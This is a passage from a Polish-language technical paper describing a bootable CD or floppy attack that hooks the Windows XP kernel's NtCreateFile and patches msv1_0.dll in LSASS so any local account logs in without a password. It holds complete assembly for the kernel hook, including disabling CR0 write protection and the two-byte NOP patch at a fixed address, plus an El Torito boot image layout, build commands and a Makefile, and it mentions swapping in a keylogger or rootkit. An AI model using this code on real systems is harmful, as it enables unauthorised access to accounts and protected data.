dec ecx ; ecx <--- function ID in export table
movzx eax, word [eax+ecx*2] ; eax <--- function ordinal
22
mov eax, dword [edx+eax*4] ; eax <--- function address
add eax, ebx
_retloc:
ret
Listing 6. Funkcja GetExportedFuncAddr
4.4 Etap trzeci  modyfikacja jÄ…dra
W chwili obecnej sytuacja przedstawia się następująco: kod, do którego wiedzie
przekierowanie syscalla może wykonywać dowolne operacje, jak gdyby należał do
jednego z obecnych w systemie sterowników. Może bez przeszkód manipulować
wrażliwymi strukturami systemowymi, ingerować w ścieżki wykonywania
konkretnych procesów itd. Nam zależy oczywiście na modyfikacji zaledwie dwóch
bajtów jednego z modułów LSASS.EXE.
Aby móc to uczynić, nasz kod musi najpierw znajdować się w kontekście danego
procesu  oznacza to, że zmiana pamięci możliwa jest jedynie w momencie, kiedy
atakowany proces wywołuje funkcję NtCreateFile, przekierowującą do
skopiowanych przez nas danych w  buforze DOS Stub. Umieszczony tam kod
 dowiaduje się , że jest to odpowiedni moment na przeprowadzenie ataku 
wyłącza on ochronę pamięci, zamienia interesujące nas bajty, a następnie przywraca
wcześniejszy stan rejestru CR0, zdejmuje hak z funkcji kernela i wraca do jej
wykonywania.
Jeśli taki scenariusz zadziała w praktyce, msv1_0.dll będzie zmodyfikowany już w
momencie rozpoczęcia procesu logowania, a mimo to w pamięci nie pozostanie
żaden ślad po przeprowadzonym ataku (oprócz zawartości nagłówka jądra, który
można jednak przywrócić w momencie zdejmowania hooka).
Przed zabraniem siÄ™ za pisanie kluczowego i zarazem ostatniego fragmentu kodu,
odpowiedzialnego za bezpośrednie zdejmowanie zabezpieczenia hasłem należy
zastanowić się nad kilkoma ważnymi kwestiami. Po pierwsze, skąd nasz kod może
się dowiedzieć, w kontekście jakiego procesu aktualnie działa oraz, jeśli jest to
właśnie LSASS, czy moduł msv1_0.dll został wcześniej załadowany. W tym
miejscu można posłużyć się pewnymi założeniami i, zamiast wprost pobierać nazwę
aktualnego procesu, zwracać większą uwagę na samą scieżkę pliku lub urządzenia,
do którego następuje odwołanie.
23
Okazuje się, że istnieje jasno określony porządek odwoływań do poszczególnych
ścieżek  istnieją również ciągi, których jako jedyny lub chociaż jako pierwszy
używa właśnie atakowany proces. W trakcie badań odkryto, że jednym z takich
ciągów jest  \??\Pipe\NETLOGON , który otwarty zostaje już po załadowaniu
msv1_0.dll i pierwszym procesem, który do niego się odwołuje jest LSASS (w
pózniejszym czasie robi to jeszcze winlogon.exe).
Opisana wyżej kolejność wygląda następująco:
·ð lsass.exe : C:\Windows\system32\msv1_0.dll
·ð &
·ð lsass.exe : \??\Pipe\NETLOGON
·ð &
·ð winlogon.exe : \??\Pipe\NETLOGON
Jest to oczywiście jedynie ZAAOŻENIE, które
nie musi być prawdziwe w każdej wersji
systemu Windows, gdyż nie ma żadnej
gwarancji, że taki porządek odwołań jest
jedynym poprawnym i nigdy nie ulegnie
zmianie. Zostało to jednak potwierdzone na
dużej liczbie maszyn z zainstalowanym
systemem Windows XP SP1 i SP2, więc myślę,
że można przyjąć to rozwiązanie za poprawne.
Kolejną rzeczą do przemyślenia jest sama
modyfikacja msv1_0  interesujÄ…cy nas
fragment kodu zmienia się między kolejnymi
wersjami/poprawkami systemów, trudno jest
więc trzymać się jednego, ustalonego z góry
adresu. Postanowiłem jednak uznać, że projekt
będzie w zamyśle działał na systemach Microsoft
Windows XP SP2  zastosowałem więc stały
adres, który okazał się być poprawny dla
Rysunek 8. Schemat blokowy działania
hooka ntoskrnl!NtCreateFile
wszystkich testowanych przeze mnie
komputerów. Stała, która definiuje wartość tego
adresu została już przedstawiona w pierwszym fragmencie kodu jako:
MSV1_0_PATCH_ADDR equ 077C699B9h
24
Na rysunku 8 przedstawiony został schemat działania hooka obecnego w jądrze
systemu, sprawdzający opisane wyżej warunki niezbędne do podjęcia decyzji o
patchowaniu LSASS, natomiast na listingu 7 zobaczyć możemy autorską
implementacjÄ™ ostatniego fragmentu kodu.
NT_CREATE_FILE_HOOK_START equ $
@NtCreateFileHook:
pushfd
pushad
mov eax, [esp+030h]
mov eax, [eax+8]
cmp word [eax], 34
jnz _LeaveTheHook
mov edi, dword 0
_DosStubHookAddr equ $-4
add edi, _SearchedLsaString - NT_CREATE_FILE_HOOK_START
mov esi, [eax+4]
mov ecx, NT_CREATE_FILE_HOOK_END - _SearchedLsaString
repe cmpsb
test ecx, ecx
jnz _LeaveTheHook
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
mov word [MSV1_0_PATCH_ADDR], 9090h
push eax
mov eax, CR0
or eax, 10000h
mov CR0, eax
pop eax
mov eax, 0xC0DEC0DE
_NtCreateFileSyscallAddrFirst equ $-4
mov dword [eax], 08B55FF8Bh
mov byte [eax+4], 0ECh
_LeaveTheHook:
popad
popf
25
push ebp
mov ebp, esp
push dword 0xDEADBEEF
_NtCreateFileSyscallAddrSecond equ $-4
add dword [esp], 5
ret
_SearchedLsaString db
'\',0,'?',0,'?',0,'\',0,'P',0,'I',0,'P',0,'E',0,'\',0,'N',0,'E',0,'T',0
,'L',0,'O',0,'G',0,'O',0,'N',0,0,0
NT_CREATE_FILE_HOOK_END equ $
Listing 7. Kod finalnego hooka, znajdujący się w jednym z nagłówków pliku
wykonywalnego NTOSKRNL.EXE
Samym sercem powyższego kodu jest jedna, jedyna instrukcja wstawiająca wartość
9090h w miejsce skoku warunkowego, od którego zależy możliwość zalogowania
się na dowolne konto obecne w systemie. Jeśli jedynym zabezpieczeniem systemu
jest hasło ustawione na każdym z lokalnych kont (najczęściej spotykana sytuacja),
nic nie stanowi już problemu by uzyskać dostęp do danych dostępnych jedynie dla
najbardziej uprzywilejowanych użytkowników, pozostawiając przy tym jedynie
minimalną ilość śladów działalności.
Aby uczynić nasz kod jeszcze bardziej elastycznym, można w miejsce użycia
stałego adresu modyfikacji msv1_0 dodać funkcję odpowiedzialną za wyszukiwanie
odpowiedniej sygnatury w atakowanym module, co prawdopodobnie dodatkowo
uodporniłoby projekt na zmiany wynikające z kolejnych poprawek/Service Packów
wydawanych przez Microsoft, jednak już w tym momencie działa on na
zdecydowanej większości systemów Windows XP.
Jak wcześniej wspomniano, fragment kodu odpowiedzialny za hookowanie jednej z
funkcji kernela zastąpić można znacznie grozniejszym, przykładowo instalującym w
jądrze  moduł odpowiedzialny za przechwytywanie naciśniętych klawiszy,
ukrywanie dowolnych procesów, połączeń sieciowych itp. Jedynym ograniczeniem
jest tutaj wyobraznia kodera korzystajÄ…cego z dobrodziejstw tworzenia
bootowalnych nośników  należy więc mieć się na baczności i pamiętać, że lokalne
hasło systemowe nie zabezpiecza nas w pełni nawet przed włamywaczami
o wiedzy średniego poziomu, którzy wkładając odpowiednią płytę w momencie
uruchamiania maszyny mogą dobrać się do danych, które uważamy za świetnie
chronione.
26
5. Przenoszenie kodu na CD-ROM
Po skompilowaniu całości przedstawionego wcześniej kodu do postaci binarnej,
przy pomocy asemblera nasm 2.04:
20:18:39 Vexillium> nasm -v
NASM version 2.04 compiled on Sep 25 2008
20:18:41 Vexillium> nasm core.asm -O3  o core.bin
20:18:42 Vexillium>
Otrzymujemy plik core.bin o rozmiarze 512 bajtów, czyli dokładnie jednego
sektora, który w przypadku zwyczajnej dyskietki 1.44MB powinien zostać
umieszczony na samym jej początku. Aby otrzymać poprawny plik obrazu FDD,
wystarczy posłużyć się następującym kodem:
start:
incbin "core.bin"
times ((1440 * 1024)-($-start)) db 0
który dołącza utworzony wcześniej plik binarny, a następnie resztę obrazu wypełnia
zerami. Po nagraniu takiego obrazu bezpośrednio na dyskietkę (np. przy pomocy
programu rawrite) jest ona od razu gotowa do użycia  jak widać, nie ma więc
większych problemów z dodatkowymi utrudnieniami w postaci formatu danych
zapisanych na nośniku itd.
Problem taki występuje jednak w przypadku znacznie szerzej stosowanych dziś płyt
CD-ROM (tudzież DVD), które muszą już opatrzone być odpowiednimi strukturami
opisującymi charakterystyczne cechy jak właśnie bootowalność dysku. Dokładny
opis formatu znalezć można w dokumencie [14], będącym specyfikacją formatu
El-Torito, który definiuje format bootowalnych płyt CD.
Poniżej przedstawiony został oryginalny kod, który po skompilowaniu tworzy
prawidłowy, gotowy do nagrania obraz płyty CD-ROM. Jest on opatrzony
angielskimi komentarzami, lecz nie powinno stanowić to większego problemu 
większość z nich to po nazwy pól znalezione we wspomnianej wyżej specyfikacji.
27
CD_SECTOR_SIZE equ 800h
NUMBER_OF_SECTORS equ 20
times 16*CD_SECTOR_SIZE db 0 ; 15 empty sectors
; 16th CD sector - PRIMARY VOLUME DESCRIPTOR
db 1,'CD001',1 ; kind of signature?
db 0
times 32 db 0 ; system identifier
times 32 db 0 ; volume identifier
times 8 db 0
db NUMBER_OF_SECTORS,0,0,0,0,0,0,NUMBER_OF_SECTORS ; number of sectors
in both little and big endian
times 32 db 0 ; zeroes
db 1,0,0,1 ; '1' words in both endians
db 1,0,0,1 ; same as above
db 0,8,8,0 ; sector size (2048) in both endians
times 2 dd 0 ; path table length in bytes, as a both
endian double word
times 4 dd 0 ; something
; root directory record (34 bytes)
db 34 ; size of the record
db 0
times 2*8 db 0
times 7 db 0
db 2 ; some flag (it is directory)
db 0
db 0
db 1,0,0,1 ; 1 in both endians
db 1 ; some length
db 0 ; the identifier itself
times 4*128 db 0 ; some stupid identifiers (what the hell
is it for?)
times 3*37 db 0 ; another identifiers
times 4*17 db 0 ; some dates...
db 1,0
times 512 db 0 ; reserved for application use
times 653 db 0 ; zeros
; 17th CD sector - The Boot Record Volume Descriptor
db 0 ; boot record indicator
db 'CD001' ; ISO-9660 identifier
db 1 ; version of descriptor
db 'EL TORITO SPECIFICATION' ; boot system identifier
times 41 db 0 ; padding
db 18 ; number of first sector in the Boot
Catalog
times 1976 db 0 ; align
28
; 18th CD sector - Validation entry
db 1 ; header ID
db 0 ; platform ID - 0 means 80x86
dw 0 ; reserved
db 'j00ru//vx Logon hack',0,0,0,0 ; ID string
dw 2108h ; check...
dw 0AA55h ; ...sum ;D
; Initial entry
db 088h ; boot indicator - Bootable
db 2 ; emulating 1.44mb diskette
dw 0 ; load segment (default 0x7C0)
db 0 ; system type
db 0 ; unused
dw 1 ; load 1 sector to 0x7C00
dd 19 ; number of sector with our bootable code
times 19 db 0 ; some zeros
times 1985 db 0 ; align
; 19th CD sector - our bootable code
BOOTABLE_CODE_BEGIN:
incbin "mbr.bin"
times 2048 - ($-BOOTABLE_CODE_BEGIN) db 0
Listing 8. Format bootowalnej płyty CD w formie  kodu assemblera
Opisy kolejnych fragmentów kodu zostały wypunktowane:
·ð Zdefiniowanie podstawowych wartoÅ›ci używanych w strukturach i
wyzerowanie pierwszych 15 sektorów płyty  każdy z nich wielkości 800h
(2048d) bajtów
·ð Primary Volume Descriptor  zawsze 16 sektor noÅ›nika, zawiera podstawowe
informacje opisujące płytę
·ð Boot Record Volume Descriptor  zawsze 17 sektor noÅ›nika, najważniejszÄ…
wartością którą definiuje jest miejsce w którym znajduje się tzw. katalog
bootowania (w naszym przypadku jest to następny, 18 sektor)
·ð Validation & Initial Entry  standardowe wpisy w katalogu bootowania,
pierwszy odpowiedzialny za potwierdzenie, że katalog ten jest poprawny (a
także zawierający identyfikator oraz sumę kontrolną), natomiast drugi
przekazujący bezpośrednio informacje o sektorze, w którym znalezć można
kod domyślnie ładowany przez BIOS w momencie włączania komputera
·ð DoÅ‚Ä…czenie pliku binarnego z gotowym kodem  ostatni, 19 sektor
29
6. Efekt końcowy
Po skompilowaniu przedstawionych wyżej plików core.asm, floppy.asm oraz
cdrom.asm, rezultatem uruchomienia wirtualnej maszyny autorstwa Microsoftu z
dołączonym plikiem .iso oraz bez niego można podziwiać na zamieszczonych
poniżej zrzutach ekranu. Listing 9 przedstawia z kolei plik Makefile, który znacząco
ułatwia wielokrotną rekompilację kodu w przypadku własnych eksperymentów z
hakowaniem systemów operacyjnych przy użyciu bootowalnych nośników danych.
Rysunek 9. Wirtualna maszyna uruchomiona bez dodatkowych nośników  prośba o hasło
30
Rysunek 10. Wirtualna maszyna zbootowana z utworzonego przez nas obrazu płyty CD-ROM  logowanie
bez podawania hasła
OUT = cdrom.iso floppy.img
CFLAGS = -O3
NASM = nasm.exe
NONUSED =
cdrom.iso: cdrom.asm core.bin floppy.img
$(NASM) $(CFLAGS) cdrom.asm -o cdrom.iso
floppy.img: floppy.asm core.bin
$(NASM) $(CFLAGS) floppy.asm -o floppy.img
core.bin: core.asm
$(NASM) $(CFLAGS) core.asm -o core.bin
clean:
del $(OUT)
Listing 9. Plik Makefile projektu
31
7. Literatura
1. http://en.wikipedia.org/wiki/Real_mode
2. http://en.wikipedia.org/wiki/Protected_mode
3. http://en.wikipedia.org/wiki/Interrupt_descriptor_table
4. http://en.wikipedia.org/wiki/BIOS
5. http://en.wikipedia.org/wiki/Mbr
6. http://en.wikipedia.org/wiki/Volume_Boot_Record
7. http://en.wikipedia.org/wiki/Ntldr
8. http://en.wikipedia.org/wiki/Windows_NT_Startup_Process
9. http://en.wikipedia.org/wiki/LSASS
10. http://www.eeye.com/html/resources/newsletters/vice/VI20051104.html
Opis działania projektów SysRq oraz SysRq2 stworzonych przez zespół eEye
Research
11. http://research.eeye.com/html/tools/RT20060801-7.html
BootRoot  projekt przedstawiony na konferencji BlackHat 2005, instalowanie
sieciowego backdoora z użyciem bootowania
12. http://research.eeye.com/html/tools/RT20060801-8.html
Obraz płyty SysRq2, gotowy do wypalenia i przetestowania
13. http://en.wikipedia.org/wiki/ISO_9660
Opis specyfikacji systemu plików płyt CD
14. http://en.wikipedia.org/wiki/El_torito
32
Opis rozszerzenia ISO 9660, dotyczącego bootowalności płyt CD.
15. http://www.phoenix.com/NR/rdonlyres/98D3219C-9CC9-4DF5-B496-
A286D893E36A/0/specscdrom.pdf
Specyfikacja El Torito
16. http://forum.osdev.org/viewtopic.php?f=2&t=17546
Wątek założony przez autora interfejsu graficznego debuggera dostępnego w
emulatorze Bochs, który okazał się bardzo przydatny w pracy z bootowalnymi
nośnikami
33


Wyszukiwarka

Podobne podstrony:
Instalacja systemu Windows z pendrive a
Kotlownia Zabezpieczenia kotlowni system zamkniety
Aktualizacja systemu Windows
Co zrobić, gdy zapomnimy hasło do systemu Windows jak je odzyskać lub zastąpić innym
przywracanie systemu Windows XP w trybie awaryjnym
TRICK I Z REJESTREM SYSTEMU WINDOWS XP
Procesy uruchamiane w systemach Windows 2
Cwiczenie 01 Instalowanie systemu Windows 2003
Wyłączenie przywracania systemu Windows XP
ZarzÄ…dzanie energiÄ… i zamykanie systemu w Windows XP
Cwiczenia Zarzadzanie w systemie Windows Server 2008
Cwiczenie 02 Uprawnienia dostepu do zasobow w systemie Windows
Sieci w systemie windows nt 2 i Nieznany
Konsola odzyskiwania systemu Windows XP Hotfix Aktualności i porady komputerowe
Odchudzanie systemu Windows XP
Przejmowanie na własność pliku lub folderu w systemie Windows XP

więcej podobnych podstron